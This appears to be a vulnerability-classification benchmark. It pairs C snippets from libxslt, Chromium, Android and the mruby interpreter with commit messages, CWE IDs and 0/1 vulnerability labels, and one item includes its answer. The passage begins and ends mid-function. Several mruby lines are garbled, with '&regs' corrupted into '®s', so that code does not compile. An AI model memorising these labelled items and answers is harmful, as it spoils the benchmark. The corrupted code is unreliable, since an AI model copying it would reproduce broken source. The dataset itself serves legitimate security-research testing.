* URGENT TODO: The problem with this is that it does not
* copy over all namespace nodes in scope.
* The damn thing about this is, that we would need to
* use the xmlGetNsList(), for every single node; this is
* also done in xsltCopyTreeInternal(), but only for the top node.
*/
if (node->ns != NULL) {
if (isLRE) {
/*
* REVISIT TODO: Since the non-refactored code still does
* ns-aliasing, we need to call xsltGetNamespace() here.
* Remove this when ready.
*/
copy->ns = xsltGetNamespace(ctxt, node, node->ns, copy);
} else {
copy->ns = xsltGetSpecialNamespace(ctxt,
node, node->ns->href, node->ns->prefix, copy);
}
} else if ((insert->type == XML_ELEMENT_NODE) &&
(insert->ns != NULL))
{
/*
* "Undeclare" the default namespace.
*/
xsltGetSpecialNamespace(ctxt, node, NULL, NULL, copy);
}
}
} else {
xsltTransformError(ctxt, NULL, node,
"xsltShallowCopyElem: copy %s failed\n", node->name);
}
return(copy);
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119
Target: 1
Example 2:
Code: bool Document::hasActiveParser()
{
return m_activeParserCount || (m_parser && m_parser->processingData());
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
[email protected], abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: bool SoftVPX::outputBufferSafe(OMX_BUFFERHEADERTYPE *outHeader) {
uint32_t width = outputBufferWidth();
uint32_t height = outputBufferHeight();
uint64_t nFilledLen = width;
nFilledLen *= height;
if (nFilledLen > UINT32_MAX / 3) {
ALOGE("b/29421675, nFilledLen overflow %llu w %u h %u", nFilledLen, width, height);
android_errorWriteLog(0x534e4554, "29421675");
return false;
} else if (outHeader->nAllocLen < outHeader->nFilledLen) {
ALOGE("b/27597103, buffer too small");
android_errorWriteLog(0x534e4554, "27597103");
return false;
}
return true;
}
Commit Message: fix build
Change-Id: I9bb8c659d3fc97a8e748451d82d0f3448faa242b
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void ChromeMockRenderThread::OnDidGetPrintedPagesCount(
int cookie, int number_pages) {
if (printer_.get())
printer_->SetPrintedPagesCount(cookie, number_pages);
}
Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-200
Target: 1
Example 2:
Code: rtadv_cmd_init (void)
{
/* Empty.*/;
}
Commit Message: zebra: stack overrun in IPv6 RA receive code (CVE-2016-1245)
The IPv6 RA code also receives ICMPv6 RS and RA messages.
Unfortunately, by bad coding practice, the buffer size specified on
receiving such messages mixed up 2 constants that in fact have
different values.
The code itself has:
#define RTADV_MSG_SIZE 4096
While BUFSIZ is system-dependent, in my case (x86_64 glibc):
/usr/include/_G_config.h:#define _G_BUFSIZ 8192
/usr/include/libio.h:#define _IO_BUFSIZ _G_BUFSIZ
/usr/include/stdio.h:# define BUFSIZ _IO_BUFSIZ
FreeBSD, OpenBSD, NetBSD and Illumos are not affected, since all of them
have BUFSIZ == 1024.
As the latter is passed to the kernel on recvmsg(), it's possible to
overwrite 4kB of stack -- with ICMPv6 packets that can be globally sent
to any of the system's addresses (using fragmentation to get to 8k).
(The socket has filters installed limiting this to RS and RA packets,
but does not have a filter for source address or TTL.)
Issue discovered by trying to test other stuff, which randomly caused
the stack to be smaller than 8kB in that code location, which then
causes the kernel to report EFAULT (Bad address).
Signed-off-by: David Lamparter <[email protected]>
Reviewed-by: Donald Sharp <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: mrb_vm_exec(mrb_state *mrb, struct RProc *proc, mrb_code *pc)
{
/* mrb_assert(mrb_proc_cfunc_p(proc)) */
mrb_irep *irep = proc->body.irep;
mrb_value *pool = irep->pool;
mrb_sym *syms = irep->syms;
mrb_code i;
int ai = mrb_gc_arena_save(mrb);
struct mrb_jmpbuf *prev_jmp = mrb->jmp;
struct mrb_jmpbuf c_jmp;
#ifdef DIRECT_THREADED
static void *optable[] = {
&&L_OP_NOP, &&L_OP_MOVE,
&&L_OP_LOADL, &&L_OP_LOADI, &&L_OP_LOADSYM, &&L_OP_LOADNIL,
&&L_OP_LOADSELF, &&L_OP_LOADT, &&L_OP_LOADF,
&&L_OP_GETGLOBAL, &&L_OP_SETGLOBAL, &&L_OP_GETSPECIAL, &&L_OP_SETSPECIAL,
&&L_OP_GETIV, &&L_OP_SETIV, &&L_OP_GETCV, &&L_OP_SETCV,
&&L_OP_GETCONST, &&L_OP_SETCONST, &&L_OP_GETMCNST, &&L_OP_SETMCNST,
&&L_OP_GETUPVAR, &&L_OP_SETUPVAR,
&&L_OP_JMP, &&L_OP_JMPIF, &&L_OP_JMPNOT,
&&L_OP_ONERR, &&L_OP_RESCUE, &&L_OP_POPERR, &&L_OP_RAISE, &&L_OP_EPUSH, &&L_OP_EPOP,
&&L_OP_SEND, &&L_OP_SENDB, &&L_OP_FSEND,
&&L_OP_CALL, &&L_OP_SUPER, &&L_OP_ARGARY, &&L_OP_ENTER,
&&L_OP_KARG, &&L_OP_KDICT, &&L_OP_RETURN, &&L_OP_TAILCALL, &&L_OP_BLKPUSH,
&&L_OP_ADD, &&L_OP_ADDI, &&L_OP_SUB, &&L_OP_SUBI, &&L_OP_MUL, &&L_OP_DIV,
&&L_OP_EQ, &&L_OP_LT, &&L_OP_LE, &&L_OP_GT, &&L_OP_GE,
&&L_OP_ARRAY, &&L_OP_ARYCAT, &&L_OP_ARYPUSH, &&L_OP_AREF, &&L_OP_ASET, &&L_OP_APOST,
&&L_OP_STRING, &&L_OP_STRCAT, &&L_OP_HASH,
&&L_OP_LAMBDA, &&L_OP_RANGE, &&L_OP_OCLASS,
&&L_OP_CLASS, &&L_OP_MODULE, &&L_OP_EXEC,
&&L_OP_METHOD, &&L_OP_SCLASS, &&L_OP_TCLASS,
&&L_OP_DEBUG, &&L_OP_STOP, &&L_OP_ERR,
};
#endif
mrb_bool exc_catched = FALSE;
RETRY_TRY_BLOCK:
MRB_TRY(&c_jmp) {
if (exc_catched) {
exc_catched = FALSE;
if (mrb->exc && mrb->exc->tt == MRB_TT_BREAK)
goto L_BREAK;
goto L_RAISE;
}
mrb->jmp = &c_jmp;
mrb->c->ci->proc = proc;
mrb->c->ci->nregs = irep->nregs;
#define regs (mrb->c->stack)
INIT_DISPATCH {
CASE(OP_NOP) {
/* do nothing */
NEXT;
}
CASE(OP_MOVE) {
/* A B R(A) := R(B) */
int a = GETARG_A(i);
int b = GETARG_B(i);
regs[a] = regs[b];
NEXT;
}
CASE(OP_LOADL) {
/* A Bx R(A) := Pool(Bx) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
#ifdef MRB_WORD_BOXING
mrb_value val = pool[bx];
#ifndef MRB_WITHOUT_FLOAT
if (mrb_float_p(val)) {
val = mrb_float_value(mrb, mrb_float(val));
}
#endif
regs[a] = val;
#else
regs[a] = pool[bx];
#endif
NEXT;
}
CASE(OP_LOADI) {
/* A sBx R(A) := sBx */
int a = GETARG_A(i);
mrb_int bx = GETARG_sBx(i);
SET_INT_VALUE(regs[a], bx);
NEXT;
}
CASE(OP_LOADSYM) {
/* A Bx R(A) := Syms(Bx) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
SET_SYM_VALUE(regs[a], syms[bx]);
NEXT;
}
CASE(OP_LOADSELF) {
/* A R(A) := self */
int a = GETARG_A(i);
regs[a] = regs[0];
NEXT;
}
CASE(OP_LOADT) {
/* A R(A) := true */
int a = GETARG_A(i);
SET_TRUE_VALUE(regs[a]);
NEXT;
}
CASE(OP_LOADF) {
/* A R(A) := false */
int a = GETARG_A(i);
SET_FALSE_VALUE(regs[a]);
NEXT;
}
CASE(OP_GETGLOBAL) {
/* A Bx R(A) := getglobal(Syms(Bx)) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_value val = mrb_gv_get(mrb, syms[bx]);
regs[a] = val;
NEXT;
}
CASE(OP_SETGLOBAL) {
/* A Bx setglobal(Syms(Bx), R(A)) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_gv_set(mrb, syms[bx], regs[a]);
NEXT;
}
CASE(OP_GETSPECIAL) {
/* A Bx R(A) := Special[Bx] */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_value val = mrb_vm_special_get(mrb, bx);
regs[a] = val;
NEXT;
}
CASE(OP_SETSPECIAL) {
/* A Bx Special[Bx] := R(A) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_vm_special_set(mrb, bx, regs[a]);
NEXT;
}
CASE(OP_GETIV) {
/* A Bx R(A) := ivget(Bx) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_value val = mrb_vm_iv_get(mrb, syms[bx]);
regs[a] = val;
NEXT;
}
CASE(OP_SETIV) {
/* A Bx ivset(Syms(Bx),R(A)) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_vm_iv_set(mrb, syms[bx], regs[a]);
NEXT;
}
CASE(OP_GETCV) {
/* A Bx R(A) := cvget(Syms(Bx)) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_value val;
ERR_PC_SET(mrb, pc);
val = mrb_vm_cv_get(mrb, syms[bx]);
ERR_PC_CLR(mrb);
regs[a] = val;
NEXT;
}
CASE(OP_SETCV) {
/* A Bx cvset(Syms(Bx),R(A)) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_vm_cv_set(mrb, syms[bx], regs[a]);
NEXT;
}
CASE(OP_GETCONST) {
/* A Bx R(A) := constget(Syms(Bx)) */
mrb_value val;
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_sym sym = syms[bx];
ERR_PC_SET(mrb, pc);
val = mrb_vm_const_get(mrb, sym);
ERR_PC_CLR(mrb);
regs[a] = val;
NEXT;
}
CASE(OP_SETCONST) {
/* A Bx constset(Syms(Bx),R(A)) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_vm_const_set(mrb, syms[bx], regs[a]);
NEXT;
}
CASE(OP_GETMCNST) {
/* A Bx R(A) := R(A)::Syms(Bx) */
mrb_value val;
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
ERR_PC_SET(mrb, pc);
val = mrb_const_get(mrb, regs[a], syms[bx]);
ERR_PC_CLR(mrb);
regs[a] = val;
NEXT;
}
CASE(OP_SETMCNST) {
/* A Bx R(A+1)::Syms(Bx) := R(A) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_const_set(mrb, regs[a+1], syms[bx], regs[a]);
NEXT;
}
CASE(OP_GETUPVAR) {
/* A B C R(A) := uvget(B,C) */
int a = GETARG_A(i);
int b = GETARG_B(i);
int c = GETARG_C(i);
mrb_value *regs_a = regs + a;
struct REnv *e = uvenv(mrb, c);
if (!e) {
*regs_a = mrb_nil_value();
}
else {
*regs_a = e->stack[b];
}
NEXT;
}
CASE(OP_SETUPVAR) {
/* A B C uvset(B,C,R(A)) */
int a = GETARG_A(i);
int b = GETARG_B(i);
int c = GETARG_C(i);
struct REnv *e = uvenv(mrb, c);
if (e) {
mrb_value *regs_a = regs + a;
if (b < MRB_ENV_STACK_LEN(e)) {
e->stack[b] = *regs_a;
mrb_write_barrier(mrb, (struct RBasic*)e);
}
}
NEXT;
}
CASE(OP_JMP) {
/* sBx pc+=sBx */
int sbx = GETARG_sBx(i);
pc += sbx;
JUMP;
}
CASE(OP_JMPIF) {
/* A sBx if R(A) pc+=sBx */
int a = GETARG_A(i);
int sbx = GETARG_sBx(i);
if (mrb_test(regs[a])) {
pc += sbx;
JUMP;
}
NEXT;
}
CASE(OP_JMPNOT) {
/* A sBx if !R(A) pc+=sBx */
int a = GETARG_A(i);
int sbx = GETARG_sBx(i);
if (!mrb_test(regs[a])) {
pc += sbx;
JUMP;
}
NEXT;
}
CASE(OP_ONERR) {
/* sBx pc+=sBx on exception */
int sbx = GETARG_sBx(i);
if (mrb->c->rsize <= mrb->c->ci->ridx) {
if (mrb->c->rsize == 0) mrb->c->rsize = RESCUE_STACK_INIT_SIZE;
else mrb->c->rsize *= 2;
mrb->c->rescue = (mrb_code **)mrb_realloc(mrb, mrb->c->rescue, sizeof(mrb_code*) * mrb->c->rsize);
}
mrb->c->rescue[mrb->c->ci->ridx++] = pc + sbx;
NEXT;
}
CASE(OP_RESCUE) {
/* A B R(A) := exc; clear(exc); R(B) := matched (bool) */
int a = GETARG_A(i);
int b = GETARG_B(i);
int c = GETARG_C(i);
mrb_value exc;
if (c == 0) {
exc = mrb_obj_value(mrb->exc);
mrb->exc = 0;
}
else { /* continued; exc taken from R(A) */
exc = regs[a];
}
if (b != 0) {
mrb_value e = regs[b];
struct RClass *ec;
switch (mrb_type(e)) {
case MRB_TT_CLASS:
case MRB_TT_MODULE:
break;
default:
{
mrb_value exc;
exc = mrb_exc_new_str_lit(mrb, E_TYPE_ERROR,
"class or module required for rescue clause");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
}
ec = mrb_class_ptr(e);
regs[b] = mrb_bool_value(mrb_obj_is_kind_of(mrb, exc, ec));
}
if (a != 0 && c == 0) {
regs[a] = exc;
}
NEXT;
}
CASE(OP_POPERR) {
/* A A.times{rescue_pop()} */
int a = GETARG_A(i);
mrb->c->ci->ridx -= a;
NEXT;
}
CASE(OP_RAISE) {
/* A raise(R(A)) */
int a = GETARG_A(i);
mrb_exc_set(mrb, regs[a]);
goto L_RAISE;
}
CASE(OP_EPUSH) {
/* Bx ensure_push(SEQ[Bx]) */
int bx = GETARG_Bx(i);
struct RProc *p;
p = mrb_closure_new(mrb, irep->reps[bx]);
/* push ensure_stack */
if (mrb->c->esize <= mrb->c->eidx+1) {
if (mrb->c->esize == 0) mrb->c->esize = ENSURE_STACK_INIT_SIZE;
else mrb->c->esize *= 2;
mrb->c->ensure = (struct RProc **)mrb_realloc(mrb, mrb->c->ensure, sizeof(struct RProc*) * mrb->c->esize);
}
mrb->c->ensure[mrb->c->eidx++] = p;
mrb->c->ensure[mrb->c->eidx] = NULL;
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_EPOP) {
/* A A.times{ensure_pop().call} */
int a = GETARG_A(i);
mrb_callinfo *ci = mrb->c->ci;
int n, epos = ci->epos;
mrb_value self = regs[0];
struct RClass *target_class = ci->target_class;
if (mrb->c->eidx <= epos) {
NEXT;
}
if (a > mrb->c->eidx - epos)
a = mrb->c->eidx - epos;
pc = pc + 1;
for (n=0; n<a; n++) {
proc = mrb->c->ensure[epos+n];
mrb->c->ensure[epos+n] = NULL;
if (proc == NULL) continue;
irep = proc->body.irep;
ci = cipush(mrb);
ci->mid = ci[-1].mid;
ci->argc = 0;
ci->proc = proc;
ci->stackent = mrb->c->stack;
ci->nregs = irep->nregs;
ci->target_class = target_class;
ci->pc = pc;
ci->acc = ci[-1].nregs;
mrb->c->stack += ci->acc;
stack_extend(mrb, ci->nregs);
regs[0] = self;
pc = irep->iseq;
}
pool = irep->pool;
syms = irep->syms;
mrb->c->eidx = epos;
JUMP;
}
CASE(OP_LOADNIL) {
/* A R(A) := nil */
int a = GETARG_A(i);
SET_NIL_VALUE(regs[a]);
NEXT;
}
CASE(OP_SENDB) {
/* A B C R(A) := call(R(A),Syms(B),R(A+1),...,R(A+C),&R(A+C+1))*/
/* fall through */
};
L_SEND:
CASE(OP_SEND) {
/* A B C R(A) := call(R(A),Syms(B),R(A+1),...,R(A+C)) */
int a = GETARG_A(i);
int n = GETARG_C(i);
int argc = (n == CALL_MAXARGS) ? -1 : n;
int bidx = (argc < 0) ? a+2 : a+n+1;
mrb_method_t m;
struct RClass *c;
mrb_callinfo *ci = mrb->c->ci;
mrb_value recv, blk;
mrb_sym mid = syms[GETARG_B(i)];
mrb_assert(bidx < ci->nregs);
recv = regs[a];
if (GET_OPCODE(i) != OP_SENDB) {
SET_NIL_VALUE(regs[bidx]);
blk = regs[bidx];
}
else {
blk = regs[bidx];
if (!mrb_nil_p(blk) && mrb_type(blk) != MRB_TT_PROC) {
blk = mrb_convert_type(mrb, blk, MRB_TT_PROC, "Proc", "to_proc");
/* The stack might have been reallocated during mrb_convert_type(),
see #3622 */
regs[bidx] = blk;
}
}
c = mrb_class(mrb, recv);
m = mrb_method_search_vm(mrb, &c, mid);
if (MRB_METHOD_UNDEF_P(m)) {
mrb_sym missing = mrb_intern_lit(mrb, "method_missing");
m = mrb_method_search_vm(mrb, &c, missing);
if (MRB_METHOD_UNDEF_P(m) || (missing == mrb->c->ci->mid && mrb_obj_eq(mrb, regs[0], recv))) {
mrb_value args = (argc < 0) ? regs[a+1] : mrb_ary_new_from_values(mrb, n, regs+a+1);
ERR_PC_SET(mrb, pc);
mrb_method_missing(mrb, mid, recv, args);
}
if (argc >= 0) {
if (a+2 >= irep->nregs) {
stack_extend(mrb, a+3);
}
regs[a+1] = mrb_ary_new_from_values(mrb, n, regs+a+1);
regs[a+2] = blk;
argc = -1;
}
mrb_ary_unshift(mrb, regs[a+1], mrb_symbol_value(mid));
mid = missing;
}
/* push callinfo */
ci = cipush(mrb);
ci->mid = mid;
ci->stackent = mrb->c->stack;
ci->target_class = c;
ci->argc = argc;
ci->pc = pc + 1;
ci->acc = a;
/* prepare stack */
mrb->c->stack += a;
if (MRB_METHOD_CFUNC_P(m)) {
ci->nregs = (argc < 0) ? 3 : n+2;
if (MRB_METHOD_PROC_P(m)) {
struct RProc *p = MRB_METHOD_PROC(m);
ci->proc = p;
recv = p->body.func(mrb, recv);
}
else {
recv = MRB_METHOD_FUNC(m)(mrb, recv);
}
mrb_gc_arena_restore(mrb, ai);
mrb_gc_arena_shrink(mrb, ai);
if (mrb->exc) goto L_RAISE;
ci = mrb->c->ci;
if (GET_OPCODE(i) == OP_SENDB) {
if (mrb_type(blk) == MRB_TT_PROC) {
struct RProc *p = mrb_proc_ptr(blk);
if (p && !MRB_PROC_STRICT_P(p) && MRB_PROC_ENV(p) == ci[-1].env) {
p->flags |= MRB_PROC_ORPHAN;
}
}
}
if (!ci->target_class) { /* return from context modifying method (resume/yield) */
if (ci->acc == CI_ACC_RESUMED) {
mrb->jmp = prev_jmp;
return recv;
}
else {
mrb_assert(!MRB_PROC_CFUNC_P(ci[-1].proc));
proc = ci[-1].proc;
irep = proc->body.irep;
pool = irep->pool;
syms = irep->syms;
}
}
mrb->c->stack[0] = recv;
/* pop stackpos */
mrb->c->stack = ci->stackent;
pc = ci->pc;
cipop(mrb);
JUMP;
}
else {
/* setup environment for calling method */
proc = ci->proc = MRB_METHOD_PROC(m);
irep = proc->body.irep;
pool = irep->pool;
syms = irep->syms;
ci->nregs = irep->nregs;
stack_extend(mrb, (argc < 0 && ci->nregs < 3) ? 3 : ci->nregs);
pc = irep->iseq;
JUMP;
}
}
CASE(OP_FSEND) {
/* A B C R(A) := fcall(R(A),Syms(B),R(A+1),... ,R(A+C-1)) */
/* not implemented yet */
NEXT;
}
CASE(OP_CALL) {
/* A R(A) := self.call(frame.argc, frame.argv) */
mrb_callinfo *ci;
mrb_value recv = mrb->c->stack[0];
struct RProc *m = mrb_proc_ptr(recv);
/* replace callinfo */
ci = mrb->c->ci;
ci->target_class = MRB_PROC_TARGET_CLASS(m);
ci->proc = m;
if (MRB_PROC_ENV_P(m)) {
mrb_sym mid;
struct REnv *e = MRB_PROC_ENV(m);
mid = e->mid;
if (mid) ci->mid = mid;
if (!e->stack) {
e->stack = mrb->c->stack;
}
}
/* prepare stack */
if (MRB_PROC_CFUNC_P(m)) {
recv = MRB_PROC_CFUNC(m)(mrb, recv);
mrb_gc_arena_restore(mrb, ai);
mrb_gc_arena_shrink(mrb, ai);
if (mrb->exc) goto L_RAISE;
/* pop stackpos */
ci = mrb->c->ci;
mrb->c->stack = ci->stackent;
regs[ci->acc] = recv;
pc = ci->pc;
cipop(mrb);
irep = mrb->c->ci->proc->body.irep;
pool = irep->pool;
syms = irep->syms;
JUMP;
}
else {
/* setup environment for calling method */
proc = m;
irep = m->body.irep;
if (!irep) {
mrb->c->stack[0] = mrb_nil_value();
goto L_RETURN;
}
pool = irep->pool;
syms = irep->syms;
ci->nregs = irep->nregs;
stack_extend(mrb, ci->nregs);
if (ci->argc < 0) {
if (irep->nregs > 3) {
stack_clear(regs+3, irep->nregs-3);
}
}
else if (ci->argc+2 < irep->nregs) {
stack_clear(regs+ci->argc+2, irep->nregs-ci->argc-2);
}
if (MRB_PROC_ENV_P(m)) {
regs[0] = MRB_PROC_ENV(m)->stack[0];
}
pc = irep->iseq;
JUMP;
}
}
CASE(OP_SUPER) {
/* A C R(A) := super(R(A+1),... ,R(A+C+1)) */
int a = GETARG_A(i);
int n = GETARG_C(i);
int argc = (n == CALL_MAXARGS) ? -1 : n;
int bidx = (argc < 0) ? a+2 : a+n+1;
mrb_method_t m;
struct RClass *c;
mrb_callinfo *ci = mrb->c->ci;
mrb_value recv, blk;
mrb_sym mid = ci->mid;
struct RClass* target_class = MRB_PROC_TARGET_CLASS(ci->proc);
mrb_assert(bidx < ci->nregs);
if (mid == 0 || !target_class) {
mrb_value exc = mrb_exc_new_str_lit(mrb, E_NOMETHOD_ERROR, "super called outside of method");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
if (target_class->tt == MRB_TT_MODULE) {
target_class = ci->target_class;
if (target_class->tt != MRB_TT_ICLASS) {
mrb_value exc = mrb_exc_new_str_lit(mrb, E_RUNTIME_ERROR, "superclass info lost [mruby limitations]");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
}
recv = regs[0];
if (!mrb_obj_is_kind_of(mrb, recv, target_class)) {
mrb_value exc = mrb_exc_new_str_lit(mrb, E_TYPE_ERROR,
"self has wrong type to call super in this context");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
blk = regs[bidx];
if (!mrb_nil_p(blk) && mrb_type(blk) != MRB_TT_PROC) {
blk = mrb_convert_type(mrb, blk, MRB_TT_PROC, "Proc", "to_proc");
/* The stack or ci stack might have been reallocated during
mrb_convert_type(), see #3622 and #3784 */
regs[bidx] = blk;
ci = mrb->c->ci;
}
c = target_class->super;
m = mrb_method_search_vm(mrb, &c, mid);
if (MRB_METHOD_UNDEF_P(m)) {
mrb_sym missing = mrb_intern_lit(mrb, "method_missing");
if (mid != missing) {
c = mrb_class(mrb, recv);
}
m = mrb_method_search_vm(mrb, &c, missing);
if (MRB_METHOD_UNDEF_P(m)) {
mrb_value args = (argc < 0) ? regs[a+1] : mrb_ary_new_from_values(mrb, n, regs+a+1);
ERR_PC_SET(mrb, pc);
mrb_method_missing(mrb, mid, recv, args);
}
mid = missing;
if (argc >= 0) {
if (a+2 >= ci->nregs) {
stack_extend(mrb, a+3);
}
regs[a+1] = mrb_ary_new_from_values(mrb, n, regs+a+1);
regs[a+2] = blk;
argc = -1;
}
mrb_ary_unshift(mrb, regs[a+1], mrb_symbol_value(ci->mid));
}
/* push callinfo */
ci = cipush(mrb);
ci->mid = mid;
ci->stackent = mrb->c->stack;
ci->target_class = c;
ci->pc = pc + 1;
ci->argc = argc;
/* prepare stack */
mrb->c->stack += a;
mrb->c->stack[0] = recv;
if (MRB_METHOD_CFUNC_P(m)) {
mrb_value v;
ci->nregs = (argc < 0) ? 3 : n+2;
if (MRB_METHOD_PROC_P(m)) {
ci->proc = MRB_METHOD_PROC(m);
}
v = MRB_METHOD_CFUNC(m)(mrb, recv);
mrb_gc_arena_restore(mrb, ai);
if (mrb->exc) goto L_RAISE;
ci = mrb->c->ci;
if (!ci->target_class) { /* return from context modifying method (resume/yield) */
if (ci->acc == CI_ACC_RESUMED) {
mrb->jmp = prev_jmp;
return v;
}
else {
mrb_assert(!MRB_PROC_CFUNC_P(ci[-1].proc));
proc = ci[-1].proc;
irep = proc->body.irep;
pool = irep->pool;
syms = irep->syms;
}
}
mrb->c->stack[0] = v;
/* pop stackpos */
mrb->c->stack = ci->stackent;
pc = ci->pc;
cipop(mrb);
JUMP;
}
else {
/* fill callinfo */
ci->acc = a;
/* setup environment for calling method */
proc = ci->proc = MRB_METHOD_PROC(m);
irep = proc->body.irep;
pool = irep->pool;
syms = irep->syms;
ci->nregs = irep->nregs;
stack_extend(mrb, (argc < 0 && ci->nregs < 3) ? 3 : ci->nregs);
pc = irep->iseq;
JUMP;
}
}
CASE(OP_ARGARY) {
/* A Bx R(A) := argument array (16=6:1:5:4) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
int m1 = (bx>>10)&0x3f;
int r = (bx>>9)&0x1;
int m2 = (bx>>4)&0x1f;
int lv = (bx>>0)&0xf;
mrb_value *stack;
if (mrb->c->ci->mid == 0 || mrb->c->ci->target_class == NULL) {
mrb_value exc;
L_NOSUPER:
exc = mrb_exc_new_str_lit(mrb, E_NOMETHOD_ERROR, "super called outside of method");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
if (lv == 0) stack = regs + 1;
else {
struct REnv *e = uvenv(mrb, lv-1);
if (!e) goto L_NOSUPER;
if (MRB_ENV_STACK_LEN(e) <= m1+r+m2+1)
goto L_NOSUPER;
stack = e->stack + 1;
}
if (r == 0) {
regs[a] = mrb_ary_new_from_values(mrb, m1+m2, stack);
}
else {
mrb_value *pp = NULL;
struct RArray *rest;
int len = 0;
if (mrb_array_p(stack[m1])) {
struct RArray *ary = mrb_ary_ptr(stack[m1]);
pp = ARY_PTR(ary);
len = (int)ARY_LEN(ary);
}
regs[a] = mrb_ary_new_capa(mrb, m1+len+m2);
rest = mrb_ary_ptr(regs[a]);
if (m1 > 0) {
stack_copy(ARY_PTR(rest), stack, m1);
}
if (len > 0) {
stack_copy(ARY_PTR(rest)+m1, pp, len);
}
if (m2 > 0) {
stack_copy(ARY_PTR(rest)+m1+len, stack+m1+1, m2);
}
ARY_SET_LEN(rest, m1+len+m2);
}
regs[a+1] = stack[m1+r+m2];
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_ENTER) {
/* Ax arg setup according to flags (23=5:5:1:5:5:1:1) */
/* number of optional arguments times OP_JMP should follow */
mrb_aspec ax = GETARG_Ax(i);
int m1 = MRB_ASPEC_REQ(ax);
int o = MRB_ASPEC_OPT(ax);
int r = MRB_ASPEC_REST(ax);
int m2 = MRB_ASPEC_POST(ax);
/* unused
int k = MRB_ASPEC_KEY(ax);
int kd = MRB_ASPEC_KDICT(ax);
int b = MRB_ASPEC_BLOCK(ax);
*/
int argc = mrb->c->ci->argc;
mrb_value *argv = regs+1;
mrb_value *argv0 = argv;
int len = m1 + o + r + m2;
mrb_value *blk = &argv[argc < 0 ? 1 : argc];
if (argc < 0) {
struct RArray *ary = mrb_ary_ptr(regs[1]);
argv = ARY_PTR(ary);
argc = (int)ARY_LEN(ary);
mrb_gc_protect(mrb, regs[1]);
}
if (mrb->c->ci->proc && MRB_PROC_STRICT_P(mrb->c->ci->proc)) {
if (argc >= 0) {
if (argc < m1 + m2 || (r == 0 && argc > len)) {
argnum_error(mrb, m1+m2);
goto L_RAISE;
}
}
}
else if (len > 1 && argc == 1 && mrb_array_p(argv[0])) {
mrb_gc_protect(mrb, argv[0]);
argc = (int)RARRAY_LEN(argv[0]);
argv = RARRAY_PTR(argv[0]);
}
if (argc < len) {
int mlen = m2;
if (argc < m1+m2) {
if (m1 < argc)
mlen = argc - m1;
else
mlen = 0;
}
regs[len+1] = *blk; /* move block */
SET_NIL_VALUE(regs[argc+1]);
if (argv0 != argv) {
value_move(®s[1], argv, argc-mlen); /* m1 + o */
}
if (argc < m1) {
stack_clear(®s[argc+1], m1-argc);
}
if (mlen) {
value_move(®s[len-m2+1], &argv[argc-mlen], mlen);
}
if (mlen < m2) {
stack_clear(®s[len-m2+mlen+1], m2-mlen);
}
if (r) {
regs[m1+o+1] = mrb_ary_new_capa(mrb, 0);
}
if (o == 0 || argc < m1+m2) pc++;
else
pc += argc - m1 - m2 + 1;
}
else {
int rnum = 0;
if (argv0 != argv) {
regs[len+1] = *blk; /* move block */
value_move(®s[1], argv, m1+o);
}
if (r) {
rnum = argc-m1-o-m2;
regs[m1+o+1] = mrb_ary_new_from_values(mrb, rnum, argv+m1+o);
}
if (m2) {
if (argc-m2 > m1) {
value_move(®s[m1+o+r+1], &argv[m1+o+rnum], m2);
}
}
if (argv0 == argv) {
regs[len+1] = *blk; /* move block */
}
pc += o + 1;
}
mrb->c->ci->argc = len;
/* clear local (but non-argument) variables */
if (irep->nlocals-len-2 > 0) {
stack_clear(®s[len+2], irep->nlocals-len-2);
}
JUMP;
}
CASE(OP_KARG) {
/* A B C R(A) := kdict[Syms(B)]; if C kdict.rm(Syms(B)) */
/* if C == 2; raise unless kdict.empty? */
/* OP_JMP should follow to skip init code */
NEXT;
}
CASE(OP_KDICT) {
/* A C R(A) := kdict */
NEXT;
}
L_RETURN:
i = MKOP_AB(OP_RETURN, GETARG_A(i), OP_R_NORMAL);
/* fall through */
CASE(OP_RETURN) {
/* A B return R(A) (B=normal,in-block return/break) */
mrb_callinfo *ci;
